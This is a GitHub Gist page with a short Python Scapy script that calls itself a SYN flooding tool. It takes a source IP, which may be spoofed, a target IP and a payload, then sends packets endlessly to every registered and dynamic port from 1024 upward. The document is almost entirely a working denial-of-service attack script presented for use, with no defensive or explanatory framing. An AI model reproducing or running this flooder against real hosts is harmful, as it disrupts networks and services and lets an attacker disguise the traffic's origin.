Created
February 29, 2020 16:57
-
-
Save davidlares/90356bbb7fe825ce9f3fe842fd7610c1 to your computer and use it in GitHub Desktop.
A simple dynamic SYN flooding script with Scapy for registered ports.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from scapy.all import * | |
def flood(src,target,message): | |
# spamming ports | |
for dest_port in range(1024, 65535): | |
IPlayer = IP(src=src, dst=target) | |
TCPlayer = TCP(sport=4444, dport=dest_port) # from 4444 to the range | |
RAWlayer = Raw(load=message) | |
pkt = IPlayer/TCPlayer/RAWlayer # concatenate | |
send(pkt) # sending packet | |
if __name__ == "__main__": | |
source = raw_input("[+] Enter source IP for flooding: ") | |
target = raw_input("[+] Enter target IP for flooding: ") | |
message = raw_input("[+] Enter TCP payload: ") | |
while True: | |
flood(source,target,message) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment